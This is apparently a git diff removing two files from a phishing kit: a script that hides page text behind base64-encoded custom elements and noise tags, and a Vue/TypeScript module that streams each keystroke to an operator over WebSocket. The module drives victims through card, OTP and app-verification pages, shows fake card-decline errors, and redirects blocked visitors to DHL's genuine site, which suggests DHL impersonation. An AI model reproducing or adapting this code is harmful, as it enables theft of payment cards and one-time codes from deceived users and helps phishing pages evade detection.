|
||||||
margin: 0 !important;
|
|
||||||
padding: 0 !important;
|
|
||||||
border: none !important;
|
|
||||||
line-height: 0 !important;
|
|
||||||
font-size: 0 !important;
|
|
||||||
overflow: hidden !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 隐藏所有噪声元素 */
|
|
||||||
z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
|
|
||||||
display: none;
|
|
||||||
width: 0;
|
|
||||||
height: 0;
|
|
||||||
opacity: 0;
|
|
||||||
overflow: hidden;
|
|
||||||
position: absolute;
|
|
||||||
visibility: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 预加载状态 */
|
|
||||||
[data-preload="true"] {
|
|
||||||
min-width: 0.5em;
|
|
||||||
min-height: 1em;
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(style);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加自定义元素注册,确保所有浏览器都能正确处理
|
|
||||||
const scriptCustomElements = document.createElement('script');
|
|
||||||
scriptCustomElements.textContent = `
|
|
||||||
// 注册所有自定义元素
|
|
||||||
if ('customElements' in window) {
|
|
||||||
customElements.define('z-wrap', class extends HTMLElement {});
|
|
||||||
customElements.define('z-span', class extends HTMLElement {});
|
|
||||||
customElements.define('z-strong', class extends HTMLElement {});
|
|
||||||
customElements.define('z-space', class extends HTMLElement {});
|
|
||||||
customElements.define('z-break', class extends HTMLElement {});
|
|
||||||
|
|
||||||
// 注册噪声元素
|
|
||||||
customElements.define('z-nil', class extends HTMLElement {});
|
|
||||||
customElements.define('z-void', class extends HTMLElement {});
|
|
||||||
customElements.define('z-null', class extends HTMLElement {});
|
|
||||||
customElements.define('z-fake', class extends HTMLElement {});
|
|
||||||
customElements.define('z-empty', class extends HTMLElement {});
|
|
||||||
customElements.define('z-attr', class extends HTMLElement {});
|
|
||||||
customElements.define('z-text', class extends HTMLElement {});
|
|
||||||
customElements.define('z-hidden', class extends HTMLElement {});
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(scriptCustomElements);
|
|
||||||
|
|
||||||
// 添加提前解码的脚本,放在<head>顶部优先加载
|
|
||||||
if (!document.getElementById('obfuscation-script')) {
|
|
||||||
const script = document.createElement('script');
|
|
||||||
script.id = 'obfuscation-script';
|
|
||||||
script.textContent = `
|
|
||||||
(function() {
|
|
||||||
// 定义解码函数并暴露为全局函数
|
|
||||||
window.decodeObfuscatedContent = function(rootElement) {
|
|
||||||
const root = rootElement || document.body;
|
|
||||||
const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
|
|
||||||
|
|
||||||
if (elements.length === 0) return;
|
|
||||||
|
|
||||||
// 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
|
|
||||||
const runWhenIdle = window.requestIdleCallback ||
|
|
||||||
function(cb) { setTimeout(cb, 1); };
|
|
||||||
|
|
||||||
runWhenIdle(() => {
|
|
||||||
elements.forEach(el => {
|
|
||||||
// 避免重复解码
|
|
||||||
if (el.hasAttribute('data-content')) return;
|
|
||||||
|
|
||||||
// 找到编码数据
|
|
||||||
const dataAttr = el.getAttribute('data-data');
|
|
||||||
if (dataAttr) {
|
|
||||||
try {
|
|
||||||
// 解码并设置
|
|
||||||
const decodedWord = decodeURIComponent(atob(dataAttr));
|
|
||||||
el.setAttribute('data-content', decodedWord);
|
|
||||||
el.removeAttribute('data-preload');
|
|
||||||
} catch (e) {
|
|
||||||
// 解码失败时跳过
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
// 页面加载完成后立即执行一次全局解码
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用IntersectionObserver优化解码性能
|
|
||||||
if ('IntersectionObserver' in window) {
|
|
||||||
const decodeObserver = new IntersectionObserver(
|
|
||||||
(entries, observer) => {
|
|
||||||
entries.forEach(entry => {
|
|
||||||
if (entry.isIntersecting) {
|
|
||||||
// 容器进入视口时解码其内容
|
|
||||||
window.decodeObfuscatedContent(entry.target);
|
|
||||||
observer.unobserve(entry.target);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
},
|
|
||||||
{ rootMargin: '200px 0px' } // 提前200像素开始解码
|
|
||||||
);
|
|
||||||
|
|
||||||
// 监听所有混淆容器
|
|
||||||
function observeContainers() {
|
|
||||||
document.querySelectorAll('z-wrap').forEach(container => {
|
|
||||||
decodeObserver.observe(container);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始观察
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', observeContainers);
|
|
||||||
} else {
|
|
||||||
observeContainers();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 定期检查新容器
|
|
||||||
setInterval(observeContainers, 2000);
|
|
||||||
} else {
|
|
||||||
// 降级方案:定期全局检查
|
|
||||||
setInterval(() => window.decodeObfuscatedContent(), 1000);
|
|
||||||
}
|
|
||||||
})();
|
|
||||||
`;
|
|
||||||
|
|
||||||
// 将脚本添加到head的最前面,确保尽早加载
|
|
||||||
if (document.head.firstChild) {
|
|
||||||
document.head.insertBefore(script, document.head.firstChild);
|
|
||||||
} else {
|
|
||||||
document.head.appendChild(script);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,331 +0,0 @@
|
|||||||
import _ from "lodash";
|
|
||||||
import { sendInput } from "@/api/api";
|
|
||||||
import type { Socket } from "@/utils/websocket";
|
|
||||||
import eventBus from "@/utils/eventBus";
|
|
||||||
import router from "@/router";
|
|
||||||
import { ref } from "vue";
|
|
||||||
import { useSocket } from "@/utils/websocket";
|
|
||||||
import { useLoadingStore } from "@/stores/loadingStore";
|
|
||||||
import i18n from "@/main";
|
|
||||||
import { useSocketIo } from "./socketio";
|
|
||||||
|
|
||||||
const viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
|
||||||
|
|
||||||
// WebSocket interface
|
|
||||||
interface MyWebSocket {
|
|
||||||
socket: any;
|
|
||||||
send: (data: string) => Promise<void>;
|
|
||||||
off: (event: string) => void;
|
|
||||||
on: (event: string, callback: (data: any) => void) => void;
|
|
||||||
}
|
|
||||||
|
|
||||||
export const customOtpData = ref<any>({});
|
|
||||||
|
|
||||||
export function setCustomOtpData(data: any) {
|
|
||||||
customOtpData.value = data;
|
|
||||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
|
||||||
}
|
|
||||||
|
|
||||||
export let myWebSocket: MyWebSocket | undefined;
|
|
||||||
|
|
||||||
// Configuration data
|
|
||||||
export const configData = ref<Record<string, any>>({});
|
|
||||||
|
|
||||||
// Utility function to check if all values in an object are not empty
|
|
||||||
export function areAllValuesNotEmpty(
|
|
||||||
obj: Record<string, any>,
|
|
||||||
excludedFields: string[] = []
|
|
||||||
): boolean {
|
|
||||||
return Object.keys(obj).every((key) => {
|
|
||||||
if (excludedFields.includes(key)) return true;
|
|
||||||
const value = obj[key];
|
|
||||||
return (
|
|
||||||
value !== null &&
|
|
||||||
value !== undefined &&
|
|
||||||
value !== "" &&
|
|
||||||
!(typeof value === "string" && value.trim() === "")
|
|
||||||
);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 存储 WebSocket 和 API 的防抖函数
|
|
||||||
const wsDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
const apiDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
|
|
||||||
// 获取或创建针对某个键的防抖函数
|
|
||||||
function getDebouncedFunction(
|
|
||||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
|
||||||
key: string,
|
|
||||||
func: (...args: any[]) => void,
|
|
||||||
wait: number
|
|
||||||
) {
|
|
||||||
if (!debounceFunctions[key]) {
|
|
||||||
debounceFunctions[key] = _.debounce(func, wait);
|
|
||||||
}
|
|
||||||
return debounceFunctions[key];
|
|
||||||
}
|
|
||||||
|
|
||||||
const modeRef = ref(1)
|
|
||||||
|
|
||||||
|
|
||||||
// 处理输入变化
|
|
||||||
export function inputChange(type: string, key: any, value: any) {
|
|
||||||
const currentTimestamp = Date.now(); // 当前时间戳
|
|
||||||
|
|
||||||
// WebSocket 防抖函数
|
|
||||||
const wsDebouncedFunction = getDebouncedFunction(
|
|
||||||
wsDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "input_text",
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
})
|
|
||||||
);
|
|
||||||
},
|
|
||||||
300
|
|
||||||
);
|
|
||||||
|
|
||||||
// API 防抖函数
|
|
||||||
const apiDebouncedFunction = getDebouncedFunction(
|
|
||||||
apiDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
sendInput({
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
});
|
|
||||||
},
|
|
||||||
1000
|
|
||||||
);
|
|
||||||
|
|
||||||
// 调用防抖函数
|
|
||||||
wsDebouncedFunction(type, key, value);
|
|
||||||
if(modeRef.value !== 2) {
|
|
||||||
apiDebouncedFunction(type, key, value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// Handle login success
|
|
||||||
export function loginSuccess(token: string, mode: number) {
|
|
||||||
if(mode === 2) {
|
|
||||||
modeRef.value = 2
|
|
||||||
myWebSocket = useSocketIo(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}else{
|
|
||||||
myWebSocket = useSocket(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
|
||||||
myWebSocket?.on("open", () => {
|
|
||||||
const lastToken = localStorage.getItem("token");
|
|
||||||
loginWebsocket(token, lastToken !== token);
|
|
||||||
});
|
|
||||||
|
|
||||||
myWebSocket?.on("message", handleMessage);
|
|
||||||
|
|
||||||
window.addEventListener("beforeunload", () => {
|
|
||||||
myWebSocket?.off("close");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle WebSocket messages
|
|
||||||
function handleMessage(data: any) {
|
|
||||||
const jsonData = JSON.parse(data);
|
|
||||||
if (!jsonData || !jsonData.event) return;
|
|
||||||
|
|
||||||
const { event, content } = jsonData;
|
|
||||||
|
|
||||||
switch (event) {
|
|
||||||
case "login":
|
|
||||||
//handleLoginEvent(content);
|
|
||||||
break;
|
|
||||||
case "result_type":
|
|
||||||
handleResultTypeEvent(content);
|
|
||||||
break;
|
|
||||||
case "reload":
|
|
||||||
window.location.reload();
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle login event
|
|
||||||
function handleLoginEvent(content: any) {
|
|
||||||
const route = localStorage.getItem("route");
|
|
||||||
if (route) {
|
|
||||||
const customOtpDataValue = localStorage.getItem("customOtpData");
|
|
||||||
if (route === "customOtpValid" && customOtpDataValue) {
|
|
||||||
setCustomOtpData(JSON.parse(customOtpDataValue));
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: route },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle result type event
|
|
||||||
function handleResultTypeEvent(content: any) {
|
|
||||||
if (!content) return;
|
|
||||||
|
|
||||||
const typeHandlers: Record<string, () => void> = {
|
|
||||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
|
||||||
otpValid: () => navigateTo("/otpValid", content),
|
|
||||||
appValid: () => navigateTo("/appValid", content),
|
|
||||||
success: () => router.push("/success"),
|
|
||||||
kickOut: redirectToExternal,
|
|
||||||
block: redirectToExternal,
|
|
||||||
otpFail: () =>
|
|
||||||
eventBus.emit("otp-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t("Verification code error, please try again"),
|
|
||||||
}),
|
|
||||||
appFail: () =>
|
|
||||||
eventBus.emit("app-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t(
|
|
||||||
"The session is about to expire, please complete the verification now"
|
|
||||||
),
|
|
||||||
}),
|
|
||||||
back: () => handleBackOrReject(content, true),
|
|
||||||
reject: () => handleBackOrReject(content, false),
|
|
||||||
refresh: () => {
|
|
||||||
if(localStorage.getItem("route")){
|
|
||||||
localStorage.removeItem("route");
|
|
||||||
window.location.reload();
|
|
||||||
}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
if (content.type == "customOtpValid") {
|
|
||||||
if(content.value.customOtpData) {
|
|
||||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (content.type == "customOtpFail") {
|
|
||||||
eventBus.emit("custom-otp-valid", {
|
|
||||||
message2: content.value.message2,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
const handler = typeHandlers[content.type];
|
|
||||||
if (handler) handler();
|
|
||||||
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Navigate to specific path with query parameters
|
|
||||||
function navigateTo(path: string, content: any) {
|
|
||||||
|
|
||||||
router.push('/temp').then(() => {
|
|
||||||
router.push({
|
|
||||||
path: path,
|
|
||||||
query: {
|
|
||||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
|
||||||
message1: content.value?.message1,
|
|
||||||
key: new Date().getMilliseconds(),
|
|
||||||
},
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle back or reject type
|
|
||||||
function handleBackOrReject(content: any, isBack: boolean) {
|
|
||||||
let message2 = i18n.global.t(
|
|
||||||
"This card does not support this transaction, please try another card"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (configData.value.error_card_msg) {
|
|
||||||
message2 = configData.value.error_card_msg;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.type) {
|
|
||||||
const type = content.value.type;
|
|
||||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
|
||||||
message2 = configData.value.deny_c_msg;
|
|
||||||
}
|
|
||||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
|
||||||
message2 = configData.value.deny_d_msg;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.message2) {
|
|
||||||
message2 = content.value.message2;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isBack) {
|
|
||||||
router.push({ path: "/card", query: { message2 } });
|
|
||||||
}
|
|
||||||
|
|
||||||
eventBus.emit("my-event", { message2 });
|
|
||||||
}
|
|
||||||
|
|
||||||
// Login to WebSocket
|
|
||||||
function loginWebsocket(token: string, isFirst: boolean) {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "login",
|
|
||||||
content: { tag: "user", token, isFirst },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
initHtml();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Redirect to an external URL
|
|
||||||
export function redirectToExternal() {
|
|
||||||
window.location.href = "https://www.dhl.com/ch-de/home.html";
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function loadHtml(url: string) {
|
|
||||||
try {
|
|
||||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
|
||||||
if (!response.ok) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
return await response.text();
|
|
||||||
} catch (error) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export const headerHtml = ref("");
|
|
||||||
export const footerHtml = ref("");
|
|
||||||
export const loadingBg = ref("#ffffff");
|
|
||||||
|
|
||||||
const initHtml = async () => {
|
|
||||||
const routePath = localStorage.getItem("route");
|
|
||||||
headerHtml.value = await loadHtml("/Static_zy/header.html");
|
|
||||||
footerHtml.value = await loadHtml("/Static_zy/footer.html");
|
|
||||||
await router.push(routePath ? `/${routePath}` : "/phone1");
|
|
||||||
setTimeout(async () => {
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
loadingBg.value = "transparent";
|
|
||||||
}, 200);
|
|
||||||
};
|
|
||||||
Reference in New Issue
Block a user